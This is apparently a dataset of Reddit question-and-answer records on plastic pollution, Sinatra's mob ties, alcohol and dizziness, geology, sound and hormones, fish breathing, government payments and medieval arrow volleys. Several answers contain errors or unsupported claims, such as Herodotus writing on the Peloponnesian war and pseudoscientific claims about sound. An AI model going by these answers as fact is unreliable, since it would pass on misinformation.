everywhere in the retail world.  I'm fact, I received a blanket for Christmas. \n\nAre there any governments currently trying to remove these products from the shelves? Also, is there anything I can do to prevent the ones I own from being part of the problem?", "In many cases, single-use plastic containers and packaging are extremely useful and effective for storage, transportation, etc. What inexpensive materials/solutions are there that could replace single-use plastics without sacrificing their efficacy?", "Plastic packaging is so ubiquitous that even when one is trying to cut down on plastics there's always more coming in to the house! What can the average person do to help the situation while still shopping at normal grocery stores and things? Even the tiniest things are plastic, like the strings that connect the tag to your clothes! What are the effects of polymers in our cosmetics and hair products in our waterways and oceans?", "My main question m: why do you think is it that 1st world countries are being bugged by NGOs over and over again due to the horrible way 2nd and 3rd world treat their trash?  ", "Are plastic straws, specifically from and used by those in the United States really an issue? ", "I've been reading up on micro-plastics and their supposed dubious nature. Do these tiny bits present a real threat to the healthy function of life, or are they mostly a benign byproduct?", " Thanks for your questions! Chris and Rebecca are signing off, but they\u2019re interested in what you\u2019re seeing and hearing about plastic waste. You can [share your story via this form here](_URL_0_) or email them: Chris at [cjoyce@npr.org](mailto:cjoyce@npr.org) and Rebecca at [rdavis@npr.org](mailto:rdavis@npr.org).  ", "National Geographic did a story last year about the Great Pacific Garbage Patch and what it's actually made from\n_URL_0_\n\n >  Microplastics make up 94 percent of an estimated 1.8 trillion pieces of plastic in the patch. But that only amounts to eight percent of the total tonnage. As it turns out, of the 79,000 metric tons of plastic in the patch, most of it is abandoned fishing gear\u2014not plastic bottles or packaging drawing headlines today.\n\n >  A comprehensive new study by Slat\u2019s team of scientists, published in Scientific Reports Thursday, concluded that the 79,000 tons was four to 16 times larger than has been previously estimated for the patch. The study also found that fishing nets account for 46 percent of the trash, with the majority of the rest composed of other fishing industry gear, including ropes, oyster spacers, eel traps, crates, and baskets. Scientists estimate that 20 percent of the debris is from the 2011 Japanese tsunami.\n\nI rarely hear any mention of this.  What are you doing to focus on commercial fishing, the nets that they use, and how they handle their waste?", "What the hell am I supposed to do with my recycling? Do I need to wash everything and separate all the caps? What happens if I don\u2019t? What about small pieces and plastic bags? What about milk cartons? It\u2019s too much to consider, I either throw everything with some plastic in the recycling, or I just throw it in the trash. I\u2019m sure I could do better.", "How does plastic pollution relate to climate change?", "Hi there! Chris and Rebecca followed up on some of the questions submitted here in the AMA and stories that were [shared with us via this form](_URL_0_): [_URL_1_](_URL_1_)\n\nWe will [continue reporting on plastic pollution](_URL_2_), so keep reaching out with your questions and concerns: Chris at [cjoyce@npr.org](mailto:cjoyce@npr.org) and Rebecca at [rdavis@npr.org](mailto:rdavis@npr.org). "]}, "title_urls": [], "selftext_urls": ["https://twitter.com/Rebec", "https://twitter.com/christophjoyce", "https://www.npr.org/688168838", "https://www.npr.org/series/684530164/the-plastic-tide", "https://twitter.com/nprscience", "https://www.npr.org/sections/goatsandsoda/2019/01/15/683734379/an-island-crusader-takes-on-the-big-brands-behind-plastic-waste", "https://twitter.com/NPR/status/1088962656399253504"], "answers_urls": [["https://www.biorxiv.org/content/10.1101/493262v1"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.ufz.de/index.php?en=36336&amp;webc_pm=34/2017"], [], [], [], [], [], [], [], ["https://urldefense.proofpoint.com/v2/url?u=https-3A__modules.wearehearken.com_npr-2Dgoats-2Dsoda_curiosity-5Fmodules_783-3Fpa-3Df&amp;d=DwMFaQ&amp;c=E2nBno7hEddFhl23N5nD1Q&amp;r=QepLnCpSovOjtIrHG4tFaK4yOkQDlZ03vgAi9VfM0_0&amp;m=2mn_aE-a5avVbQt4iiybqTjttXzZXu4QJ6FLMM3p3LQ&amp;s=SYMHFeWQzamLo8x3zlYv2fbXfN36sXkxwnKig4odYXI&amp;e="], ["https://news.nationalgeographic.com/2018/03/great-pacific-garbage-patch-plastics-environment/"], [], [], ["https://modules.wearehearken.com/npr-goats-soda/curiosity_modules/783?pa=f", "https://n.pr/2UR2P7w", "https://www.npr.org/series/684530164/the-plastic-tide"]]}
{"q_id": "8yvjvh", "title": "How closely connected to organized crime families was actually Frank Sinatra?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8yvjvh/how_closely_connected_to_organized_crime_families/", "answers": {"a_id": ["e2eelzp", "e2em8s3"], "score": [216, 6], "text": ["James Kaplan's lengthy two-part biography of Sinatra (2010's *Frank: The Voice* and 2015's *Sinatra: The Chairman*) makes the case that Frank Sinatra wasn't a puppet of the mob, but that he 'unfortunately' very much admired them and thus had extensive contact with them. Kaplan argues in *Sinatra: The Chairman* that:\n\n > Sinatra's Mob associations had far more to do with mutual admiration than affiliation. The gangsters liked his singing, his flash, and (at times) his unrepentant unruliness; he liked their power, their toughness, their swaggering style. Growing up in an era when power was largely in the hands of white Protestant men, a time when Italian-Americans were just a half step up the social ladder from African-Americans--and, like black people, were seen as simple, happy, and musical--Frank viewed the Mafia as a kind of unelected elect, an alternate aristocracy. He idolized them all his life, much as a small boy might idolize cowboys or soldiers.\n\nI mean, take the Frank Sinatra album *Sinatra At The Sands*, a live album recorded at The Sands Hotel and Casino in Las Vegas, released in 1966. As [this Vegas mob ownership answer](_URL_0_) by /u/grandissimo points out, Vegas casinos were, during the time period, widely suspected of being mob fronts. In 1954, slightly before Sinatra become an adult popular music megastar with the likes of *Swing Easy* and *Songs For Young Lovers*, Joseph Stacher, a New Jersey crime lieutenant, had supplied Sinatra with $54,000 in order to buy two points of ownership in the Sands. The Nevada Tax Commission was extremely dubious that this was actually Sinatra's own money, and they challenged Sinatra's purchase of those two points for two years before mysteriously caving. By the beginning of 1958, Sinatra owned nine points in the Casino, which Kaplan credits, 'some say [to] a gift from the mobster Vincent 'Jimmy Blue Eyes' Alo'. \n\nKaplan seems to imply that these weren't so much Sinatra being an active participant in washing dirty money as the mobsters liking Sinatra and so *actually giving him gifts*. Sinatra received a healthy monthly check from The Sands, but likely that was only a tiny fraction of the amount of money he would have received had he really owned nine points in The Sands.\n\nHe quotes Sinatra's daughter Tina, who told Seymour Hersh that:\n\n > By the thirties and forties when Dad was in the business, they were controlling the nightclubs, they were controlling the entertainment world. They were a motivated bunch. The power of an entertainer and the power of a mobster--it's all very much a part of America. They were all from the same neighborhoods. My Dad grew up with gangsters next door. He was living with them. They were his personal friends, and he's not going to cast away a friend. The great vein through Frank Sinatra is loyalty. There is an absolute commitment to friends and family. It's very Italian and probably gave him a little more in common with the mob types.\n\nKaplan argues that the Mob basically tolerated Sinatra, occasionally found him to be useful (e.g., with the Sands), and that because he was a fellow traveller, if not a member or a bought man, they threw him a bone. \n\nEdit: Perhaps the most famous story of Sinatra\u2019s involvement in the Mob is fictional, however, according to Kaplan; *The Godfather* of course has a lightly fictionalised version of Frank Sinatra, Johnny Fontane, appealing to Don Corleone to get him a part in an upcoming film, involving the infamous horse head in the bed. This is widely taken to refer to Sinatra surprisingly getting a role in *To Here To Eternity* over Eli Wallach, who was the movie producer\u2019s first choice for the role. However Kaplan argues that the reason why Wallach didn\u2019t get the role was that Wallach wanted too much money to play the part, and that Sinatra - who was obsessed with the book and desperately wanted the role - would have done it for peanuts. No horse heads involved!", "What about him and Sam Giancana raping Marylin Monroe? Any truth to that? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/8eosfz/how_much_truth_is_there_to_belief_that_the_mob/"], []]}
{"q_id": "2bdbxx", "title": "why do i get really dizzy when i smoke a cigarette when i'm buzzed/drunk?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2bdbxx/eli5_why_do_i_get_really_dizzy_when_i_smoke_a/", "answers": {"a_id": ["cj47u7f"], "score": [2], "text": ["The alcohol in your blood reaches your brain affecting neurotransmitters - giving you the feel-good feelings and causing the tipsiness that comes with alcohol. The nicotine in the cigarettes increases your heart rate, meaning more of the alcohol in your blood is pumped into the brain increasing the effect of the alcohol, and ultimately increasing your dizziness. The nicotine also contains various other chemicals which give you a relaxed and contented feeling."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "g3czaq", "title": "how does the earth make more and more layers of rock, yet still remain the same size/mass?", "selftext": "So when I think about archeology and fossils, I imagine colorful layers of dirt upon each other with all the bones throughout, like in text books.\n\nHow did the layers of dirt build up like that? Where is it coming from, space? Why are there minerals and elements in some layers that weren't there in the earlier ones, how did they get there? \n\nI figured there's a finite amount of dirt on the planet, so how is it possible to endlessly create new layers of (future) fossil recordings?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/g3czaq/eli5_how_does_the_earth_make_more_and_more_layers/", "answers": {"a_id": ["fnql57u", "fnqm0ve", "fnrtge4"], "score": [23, 6, 2], "text": ["Mountains are eroded by water, the material settles somewhere, is squished and becomes rock. Earth then can lift it again to make mountains, or volcanoes spew it out.", "You're missing half the equation- erosion causes some places to lose material, and other places to gain material. The total amount of stuff doesn't change much (ok, we lose some gasses from the top of the atmosphere, and we gain dust  &  meteorites from space, but it's neglible)\n\nWater, wind, weather, and time erode mountains, carves valleys, blows away deserts. People also move material, making rubbish dumps, building new stuff on top of old stuff, etc\n\nSome things get uncovered, some things get covered up. sometimes we find stuff that was buried and gets uncovered, sometimes we find stuff by digging, but all those layers on top were made by stuff moving from somewhere else and piling up in  particular place.", " >  How did the layers of dirt build up like that? \n\nNew layers of Earth only build up in sedimentary basins, ie. low lying regions which collect the sediment eroded from higher areas, especially mountains. This sediment may collect in a basin and form part of a soil, or it may get buried far enough in the crust to lithify into new rock, or it may remain unconsolidated until it is removed to some further lower elevation point. \n\nThis whole process is effectively just moving around the top parts of the crust so that the little pieces set free by weathering reach the lowest points thanks to gravity, as large parts of the crust rise or sink due to tectonic forces. There may also be deeper crustal material which gets exposed to surface weathering too, when significant uplift occurs in mountain building episodes. The way that landscapes are shaped by this interplay between uplifting forces and the weathering and erosion which wears it down, redistributing crustal material elsewhere, is often studied as it\u2019s own discipline: tectonic geomorphology. \n\nIt\u2019s worth mentioning the creation and destruction of oceanic crust too. You may know that oceanic crust is formed at various spreading ridges in the oceans, where it then moves outwards, sort of like a giant seafloor conveyor belt. Eventually, this crust will reach a subduction zone (or in the case of ocean basins which aren\u2019t bordered by any eg the Atlantic, they will eventually form) where it is pulled down into the mantle and effectively recycled, or at least added back to the Earth\u2019s interior in terms of mass balance. Because of this, there is no significant gain or loss of the solid Earth. \n\nHaving said that, there is a *very minor* gain of total solid Earth material in the form of meteorites which make it to Earth\u2019s surface, though this mass gain is actually thought to be slightly smaller than the mass lost through atmospheric escape of light gases. So we are gaining a tiny, insignificant trickle of new rocky material all the time, but overall losing a tiny trickle of the planets mass through the atmosphere."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "7y71c7", "title": "Is body chemistry affected by sound, in the same way that melatonin production is affected by light?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7y71c7/is_body_chemistry_affected_by_sound_in_the_same/", "answers": {"a_id": ["dueazg1", "dueceli", "duedb7o", "duefpr2", "dueg02u", "dueg16q", "duehp3w", "duejmno", "duekx3r", "duem4j7", "duemymw", "duetx7j", "dufabrx", "dufawe5"], "score": [26, 352, 80, 5, 53, 3, 51, 10, 2, 2, 3, 9, 2, 2], "text": ["Melatonin production is affected by light due to light sensitive sensors in your eyes that communicate with the suprachiasmatic nucleus (SCN). The SCN helps regulate melatonin and cortisol production which helps regulate your circadian rhythm, part of the physiological cycles that make you wakeful or tired. \n\nI am unaware of a similar relationship of sound and brain function/chemistry.\n\nThere was a cool art/science experiment where water molecules were photographed while being exposed to different music. Being we are mostly water, there could be an effect we are unaware of. ", "Multiple reflexes are triggered by sound (like infants spreading their limbs when they hear a loud bang). Or your inner ear muscles as mentioned before.\n\nFor the chemistry it\u2019s not that clear. However, people who live in louder areas (near airports is the best example) do have a lot more cortisol (stress hormone), and a lot more psychiatric problems, such as anxiety and depression. This is likely not as \u00ab\u00a0hard-wired\u00a0\u00bb as light and melatonin, because loud things are naturally stressful and that \u00ab\u00a0stress\u00a0\u00bb could potentially be reduced by other means than removing the noise. However to the best of my knowledge no studies have proven that and it\u2019s possible the noise itself, with or without the subjective stress it\u2019s causing, could affect hormonal balance.", "I don't know about regular sound but I do know about ultrasound. In the world of ultrasound we worry about something called bioeffects. Essentially that is the effect the high frequency vibrations have on tissues. There are two main effects we see from ultrasound on tissue and they are thermal bioeffects and mechanical bioeffects. The thermal bioeffects are the tissues heating up due to friction of cells as they vibrate. You see this used in physical therapy where they use ultrasound (but at a higher amplitude than is used in imaging) to heat up the deep tissues and promote healing. The mechanical bioeffects are basically vibrating the cells so intensely that they rip themselves apart. FDA regulation and the engineers of the machines themselves make it so that could never happen. \n\nIt is worth mentioning though that while ultrasound is perfectly safe as it is practiced in our medical world for mature tissues there is some issues when you are doing fetal ultrasound. With fetal ultrasound the intensities of the machine are turned way down to protect the developing tissues and a properly trained ultrasound tech puts in the system that it is a fetal study and the machine will automatically limit what the tech can do. The problem comes when lay persons get ahold of a ultrasound and are not properly trained and then do a fetal ultrasound. If they are using the wrong settings and not setting it on fetal than the intensity of the ultrasound could cause issues. This isn't the problem that it used to be because most places that do that have been shut down but in the 80s and 90s there used to be places in strip malls that would do ultrasound on a fetus and record a video of it for the parents. None of the people that worked in these facilities had any formal training and had no idea the risk they were running. Now most ultrasound labs will do a dvd for the parents of the study for a fee to fill this want by the expecting parents. ", "Here are some unexpected ways the body and sound interact:\n\n* Sound wave therapy treats erectile dysfunction. [x](_URL_1_)\n* Low frequency and ultra-low frequency may have negative health effects including heart damage. ([x](_URL_0_) pdf warning) This is controversial because there's a lot of nonsense floating around about ULF. (see: the Hum, [here's](_URL_2_) a quick news write-up)", "There's actually a significant and growing body of evidence supporting negative effects of noise-polluted environments across a variety of outcomes; Wikipedia is relatively well-sourced.\n\n_URL_0_\n\nThe impact on psychological metrics and personality traits isn't too surprising, but the bad cardiovascular outcomes, presumably (but still in need of more research) from chronic, habituated stress responses, is a little more surprising.", "Sound is the oscillation of atoms or molecules in a waveform. As such it\u2019s highly unlikely to induce any chemical activity whatsoever with rare exceptions where the kinetic energy transferred to a particle as part of this vibration is sufficient to overcome a reaction\u2019s energy threshold. That is not to say that sound triggers no responses in the body (as others have mentioned, the cry of a baby is a good example), but from a pure first principles standpoint, there\u2019s very little reason to believe sound could induce chemical activity/reactions. It might be more feasible to suspect hormonal responses to different types of sound in the vein of adrenaline response to sudden and/or loud noises, endorphin released when hearing pleasant music and stuff like that, maternal instinct to wake up to high pitched noises. \n\nNot a chemist. Not a biologist. Just answering based off of some first principles red flags that question raises. ", "Yes! I actually did a research project on this. We found that skin tends to conduct electricity much better while listening to slow, intimate music compared to aggressive, exciting music.  This is completely a chemical change in the contents of your sweat, and it implies there is something more going on in your brain when you hear sounds.  I don\u2019t have a good source for you because it was years ago and it was never published.", "Sound is an autonomic trigger that can influence activation of the sympathetic/flight or fight system (typically via very low frequencies) or parasympathetic/social system (via mid frequencies such as singing or speech, which tells your body it's time to be relaxed and possibly social). \nThis is likely why living near airports causes the issues other posters mentioned: The constant engine sounds are registered as fight or flight/sympathetic triggers, causing us to be stressed and ready to roar. Also, your autonomic state influences just about every single bodily function. So yes, sound does influence body chemistry in at least this manner.", "Likely. Living in loud environments is associated with elevated cortisol, a \"stress hormone\" if you will. Music is also associated with benefits in ICU patients. Source: research and I'm a PhD candidate in nursing studying cortisol in very young children and we have a highly active critical care research center, so I learn by association.  ", "There are good chemical reasons why light affects cellular processes more than sound. Light is composed of much higher energy than sound and is able to interact on the molecular level in ways that sound cannot. In fact, it\u2019s the ability of sunlight to excite electrons in a chemically useful way that allows processes like photosynthesis to occur. ", "You body is affected by sound. Cats purring is to strengthen bones _URL_0_\n\nThere are medical devices being tested to use a horn vibrating at ~20hz vibrations to break up mucus blocks too. I can't find this link anymore, but this talks about the inspiration. \n\n > Chest percussion (chest physiotherapy) uses clapping of the chest with a cupped hand camera.gif to vibrate the airways in the lungs. This vibration moves the mucus from smaller airways into larger ones where it can be coughed up. Chest percussion is done with the help of a partner, special electronic devices designed to vibrate the chest, or other instruments that a person can use to vibrate the chest safely.\n\n_URL_1_\n\nYou body will react to explosions and scary noises with fight or flight hormones.\n\nMy answer is yes sound can change body chemistry, but I'm not sure what you consider \"like melatonin production\".\n\n\n\n", "Not necessarily in the same way as melatonin, but sound can have some pretty significant effects.\n\nFirst, let's put it in perspective.  Nerves use chemicals to generate electrical potential.  So absolutely ANYTHING that creates any sort of sensory input will, technically, effect your body chemistry.\n\nSensory inputs to the brain, of course, cause some pretty complex chemical reactions to take place just for the sake of processing.\n\nSome liposuction techniques use a probe vibrating at high frequency to liquefy/destroy the adipose tissue before it's suctioned up.\n\nThere are techniques under development (not FDA approved yet) that use ultrasound to restore flexibility to the lens in a person's eye by breaking up minute crystal deposits that form there as a person gets older.\n\nUltrasound at high amplitude is capable of causing cell damage to virtually any tissue in the body.\n\nExplosions that are loud enough are capable of killing people nearby even without burning them.\n\nLow frequencies at sufficient volume can cause heart palpitations.  (It'll wreck your hearing long before that, though.)\n\nThere are tons of documented psycho-acoustic effects.\n\nInterestingly enough, the reverse can also be true.  There's a condition sometimes related to tinnitus that can cause your ears to make faint sound that a doctor can detect with a stethoscope.", "Absolutely. Certain frequencies of infrasound can cause you to [see ghosts](_URL_0_) when the chemical function of your eyes is compromised due to them vibrating.\n\nThe central nervous system can be stimulated via sound as well. Nerve function is entirely electrochemical.\n\nBonus: High intensity, low frequency sound travelling through water can cause [tissue and brain damage in divers](_URL_1_).", "Sonic booms (like the ones' israel subjects palestine to) induces anxiety attacks, bedwetting, muscle spasms, temporary loss of hearing and breathing difficulties. They also have increased stillborn births by 40%. As far as softer auditory notes, I get a hard on when i hear a woman moaning (or third set women's tennis). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.leefmilieu.nl/sites/www3.leefmilieu.nl/files/imported/pdf_s/2012_OudM_Low-frequency%20noise_0.pdf", "https://www.newscientist.com/article/2077807-sound-wave-therapy-is-first-alternative-to-viagra-in-15-years/", "https://www.nbcnews.com/science/mysterious-hum-driving-people-crazy-around-world-6c10760872"], ["https://en.m.wikipedia.org/wiki/Health_effects_from_noise"], [], [], [], [], [], ["https://www.scientificamerican.com/article/why-do-cats-purr/", "https://www.webmd.com/lung/tc/clearing-extra-mucus-from-the-lungs-topic-overview"], [], ["http://skepdic.com/infrasound.html", "https://web.archive.org/web/20060427061028/http://www.spawar.navy.mil/sti/publications/pubs/td/3138/td3138cond.pdf"], []]}
{"q_id": "cl5ueh", "title": "Do fish \"breath\" heavier if they have to swim fast?", "selftext": "So we run for example we begin to breath heavy and fast as our muscle need more oxygen. Does this also happen with fish where they need to take in more water if they are escaping a predator? What about birds and reptiles? Now that I think about it I've only seen mammals breath heavy after running/moving quickly in general.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/cl5ueh/do_fish_breath_heavier_if_they_have_to_swim_fast/", "answers": {"a_id": ["evu7at9", "evuebgl", "evxwm3j"], "score": [10, 7, 3], "text": ["Most big sharks must constantly swim forward with open mouth so that water flows inside and then over the gills and out again.\n\nIf they go hunting and chase some prey, they swim faster - and at the very same time more water passes through their mouth and gills.", "Swimming faster means increased muscle use, thus greater demand on ATP and therefore higher oxygen usage. This is true for all aerobic animals (there are a few worms that can exist without oxygen I think).  \nFish breathe (i.e., perform gas exchange) through their gills. Fresh water enters through the mouth and exits via the gill slits. Teleostei (bony fish) have gill lids that let them actively pump water through their mouth, whereas many, but not all, Elasmobranchii (sharks, rays) have to actively swim to breathe, or at least sit somewhere with a current. \nIn both cases, during vigorous swimming, more water flows over the gills by just opening the mouth.  \nA lot of fish also aren\u2019t capable of prolonged exercise and are limited to a short, sharp burst of energy to quickly get out of a danger zone. These fish make up any oxygen debt incurred later.  \nBirds have high performance lungs to sustain flight; a system of air sacs and flaps allows them to exchange gas on both in- and exhalation by guiding air through a one-way system. They use that to compensate for higher demand but can also breathe faster. Spotting that under a thick layer of feathers is hard, though so that may explain why you\u2018ve never seen it.  \nReptiles, again, are only capable of short bursts before they have to rest and recuperate. I don\u2019t really know if they can breathe faster if needed but I don\u2019t see a reason why they shouldn\u2019t.", "Yes, very much so.  A fish that has exerted itself above the normal amount will pump water over its gills at an increased rate to make up for the demand of the exercise just like other animals will.  It's quite distinctive looking, you can see the movement of the mouth and gills as they push water.    Normally this happens after a burst of speed, which tends to depend on anerobic energy, rather like you might gasp after a short sprint.  \n\nBirds and reptiles do the same thing too...it's especially important for reptiles because the way their lungs work makes it hard or even impossible for them to breathe while running."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ajjopv", "title": "how does government trade work? like, for example, the us gives france $1 billion usd, are they actually given the money, or is it all similar to credit? how do they spend the money?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ajjopv/eli5_how_does_government_trade_work_like_for/", "answers": {"a_id": ["eew6nhv", "eew7e0j", "eew7iwt", "eew7nph", "eew83mw", "eew8fwh", "eewaff9", "eewav69", "eewcavy", "eewct0p"], "score": [2, 6, 107, 33, 2, 5, 3, 3, 4, 2], "text": ["I can't think of any instance in which the US would just give France $1 billion USD. Maybe you're thinking about foreign aid?", "In simplest terms, they get a \"Gift Certificate\" for US goods and services.  Rarely, it can be in the form of a check, but the usual method is there are a large team of government worker to work with the receiving country to spend the money.  Typically, the U.S. is bound by very specific rules, and the money must be spent a certain way (i.e. on specific defense or civil projects).  The U.S. will then procure whatever the country requests through its own channels, and its own accounting system. ", "If it\u2019s just cash, like something like foreign military sales (say buying a plane), it\u2019s quite simple. \n\nLet\u2019s say the US is buying a plane from France. \n\nThe US Treasury will have a bank account and simply wire transfer the money to whatever account France tells them too (generally a government account). Yes they have bank accounts. \n\nYes it\u2019s that standard.  \n\nWhich currency the transaction will occur in will be discussed, but since it\u2019s with the US, the deal will be done in US dollars. \n\n", "Do you mean in the context of \u201ctrade deficits\u201d and stuff? If somebody says the US has a trade deficit of $1 billion with France, that doesn\u2019t mean the US government is paying the French government $1 billion. It means that the US exports $1 billion less in goods to France than it receives from France. For example, if the US exports $2.5 billion worth of stuff to France and it imports $3.5 billion worth of stuff, there is a $1 billion trade deficit for the US.", "Like normal trade. The usgov is handing over a billion bucks for a billion dollars of various goods.", "What do you mean by \"trade?\" It sounds like you might be talking about loans, in which case, yeah it's basically just money, usually guaranteed by bonds (basically just the certificate a government gives to the person, business, or state that gave them a loan). There's an expectation that they will pay back with interest over time. Sometimes a large loan might be paid in installments over a few years. They spend it the same way they would spend other government funds, like those raised from taxes.\n\n\nOther forms of international \"trade.\" Might be foreign aid, which is when one government provides the other with needed supplies. Sometimes that's cash, but usually it's food, water, energy, etc. The governments could also sell products to each other. The US for instance sells a lot of weapons to other countries. \n\n\nThe other interpretation I can think of is \"internally trade,\" which refers to businesses working overseas.", "After World War Two, the US government gave France and the UK a large loan so they could rebuild themselves in an arrangement known as the Marshall plan. It was a loan and was repaid over time, just like a mortgage on a house. ", "Sounds like you're asking about one government lending to a foreign government ?", "On a very basic level, most governments keep large reserves of US dollars, because it's considered THE reserve currency, so if there are large transfers it's a simple debit/credit.\n\nThis doesn't just apply when the government is involved. Many companies also keep USD reserves, so when large purchases between borders are necessary, the exchange is done entirely with greenbacks. This helps to avoid nasty situations where the value of one currency quickly raises/falls in regards to another.\n\nThere's no hard and fast rule governing this though, just convenience. One of the reasons the Euro was proposed was to avoid the need to rely on US dollars between European trading partners.", "The us sent $400m cash to Iran in 2016. I dont think it's always the same, it probably depends on the country and the reason for sending the money"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "27x6de", "title": "Did those showers of arrows really exist?", "selftext": "In several movies, and other fiction, there are often scenes where one army shoots several arrows into the air, which fall like an entire shower of arrows onto their opponents. However, I don't get  few things in relation to this:\n*)If one archer can only send one arrow at one time, to get a devastating dense cloud of arrows would have required too many archers\n*)How did they prevent the arrows from injuring their own?\n*)Could the arrows go far enough to be able to be a useful defense mechanism via such a cloud of arrows.\n\nAll in all, did such things ever actually take place?\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/27x6de/did_those_showers_of_arrows_really_exist/", "answers": {"a_id": ["ci5cfzl", "ci5dgk9", "ci5f3ra", "ci5jmsj", "ci5lqqw", "ci5p7se"], "score": [17, 10, 97, 3, 2, 3], "text": ["Not showers necessarily, but in Japanese warfare at least, arrow volleys were used.  Similar to the reasons why muskets were fired in volleys, having archers fire like that gave them a greater chance to hit moving targets and do more damage to group formations. ", "If OP don't mind me piggybacking on this question, I'd like to know what historians think of [this video](_URL_0_), in which an archer was able to shoot at incredible speeds, and claims that his technique is based on historical battlefield archery.", "Yes, mass volleys of arrows absolutely existed, and the delivery of such volleys was the main function of large groups of archers on the battlefield (in European warfare, at least). Foot archers didn't (usually) pick their own individual targets; they shot at larger enemy formations. The greater strategic purpose of archery on the battlefield is to harass and weaken the enemy, not shoot them to death (although that sometimes did happen). \n\n1) What do you mean by \"too many archers?\" Ancient and medieval armies could bring formations of archers in the hundreds or thousands. Commanders would try and fight on terrain that allowed them to effectively field and maneuver whatever men they had brought. \n\n2) Besides ordering archers not to shoot, there's no way to prevent archers from injuring their own troops when they loose their volleys. When the enemy had moved close enough to engage hand-to-hand, archers might be sent to flank around and shoot into the sides or rear of the enemy army, where there were no friendly troops to be accidentally hit. In late medieval England, it was common for archers to simply charge forward and take part in the melee themselves. When they backed up or provided flanking support for lines of men-at-arms, it was an extremely  effective tactic. All the famous English longbow victories were won not only by mass archer volleys, but hours of brutal hand-to-hand fighting. \n\n3) I'm not quite sure what you mean by \"a useful defense mechanism.\" Mass archery was a defense in the sense that (when used effectively) it could disrupt enemy advances or slow down a charge (in rare cases, even halting a charge entirely). Archery was an excellent defense mechanism if the archers were protected by terrain, field defenses, and/or heavy infantry. Assuming that the enemy could be lured into assaulting such a position, that is. The major issue there is that it requires an opponent who can be manipulated into launching a forward attack. ", "Just to add to the answers here, Matthew Barnett writes in \"Fighting techniques of the medieval world\" that an archer could loose a third arrow before the first had struck its target.\n", "Herodotus does make mention of this action in his history of the Peloponnesian war. A Thrachinian makes the comment \u201cSuch was the number of the barbarians, that when they shot forth their arrows the sun would be darkened by their multitude\u201d. What is particularly interesting about this extract is that Dieneces does not laugh this statement off, nor does he discredit it in any way. He responds with, \"Our Thrachinian Friend brings us excellent tidings. If the Medes darken the sun, we shall have our fight in the shade\".   \n\n\nSource: Herodotus, The History, Chapter 226.\n\nAvailable here\n \n_URL_0_\n", "According to The Face of Battle (John Keegan, 1976), at Agincourt:\n\n\"...the archers, both those in the large groups on the wing and the two smaller groups in the central wedges, the chance to prolong their volleying into the French ranks.  The range was progressively shortened by the advance, and the arrows, **coming in on a flat trajectory in sheets of 5,000 at ten second intervals**, must have begun to cause casualties among the French foot.\"  \n\nSo I would say that showers of arrows really could exist.\n\nKeegan goes on:\n\n\"... some of the arrows must have found weak spots in the visor and at the shoulders and, as the range dropped right down, might even have penetrated armour itself.  The 'bodkin-point' was designed to do so, and its terminal velocity, sufficient to drive it through an inch of oak from a short distance, could also, at the right angle of impact, make a hole in sheet steel.\"\n\nMore, about the opening of the battle:\n\n\"Each [archer] disposed his arrows as convenient.  He would have a sheaf, perhaps two, of twenty-four arrows and probably stuck them point down into the ground by his feet.  The men in the two front ranks would have a clear view of the enemy, those behind only sporadic glimpses: there must therefore have been some sort of ranging order passed by word of mouth.\"\n\n\"... when the shout went up or the banner down, four clouds of arrows would have streaked out of the English line to reach a height of 100 feet before turning in flight to plunge at a steeper angle on and among the French men-at-arms opposite.  These arrows, cannot, however, given their terminal velocity and angle of impact, have done a good deal of harm... But one should not dismiss the moral effect of the arrow strike... the sound of their impact must have been extraordinary cacophonous, a weird clanking and banging on the bowed heads and backs of the French men-at-arms... If any of the horses... were hit, they were likely to have been hurt, however, even at this extreme range, for they were armoured only on their faces and chests, and the... arrow would have penetrated the padded cloth hangings which covered the rest of their bodies.\"\n\nThe Face of Battle, for those who haven't read it, is a fascinating discussion of what the experience of being in the front lines was like at Agincourt,Waterloo and the Somme. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://youtu.be/2zGnxeSbb3g"], [], [], ["http://www.documentacatholicaomnia.eu/03d/-484_-430,_Herodotus,_The_History,_EN.pdf"], []]}
{"q_id": "77vh1b", "title": "what exactly is happening when you get 'the spins'?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/77vh1b/eli5_what_exactly_is_happening_when_you_get_the/", "answers": {"a_id": ["dooxgld"], "score": [3], "text": ["I'm going to assume you're talking about alcohol-induced dizziness or vertigo.\n\nIn your ears, there are these tubes called [semicircular canals](_URL_0_). In those tubes is a kind of jelly. Gravity makes sure the jelly always settles downward, and there are nerves in the canals that sense the presense of the jelly. The brain can tell which way is down by interpreting the signals from these canals.\n\nIf there's alcohol involved, it works to dilute the jelly, so it sloshes around a lot easier. If you stand up quickly, the jelly sloshes all over the place, and the brain tries to make sense of this. You perceive this confusion as a *shifting direction of gravity*. Moving your head quickly and positioning your feet against this \"new\" gravity only exacerbates the problem. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://img.tfd.com/MosbyMD/thumb/semicircular-canals.jpg"]]}
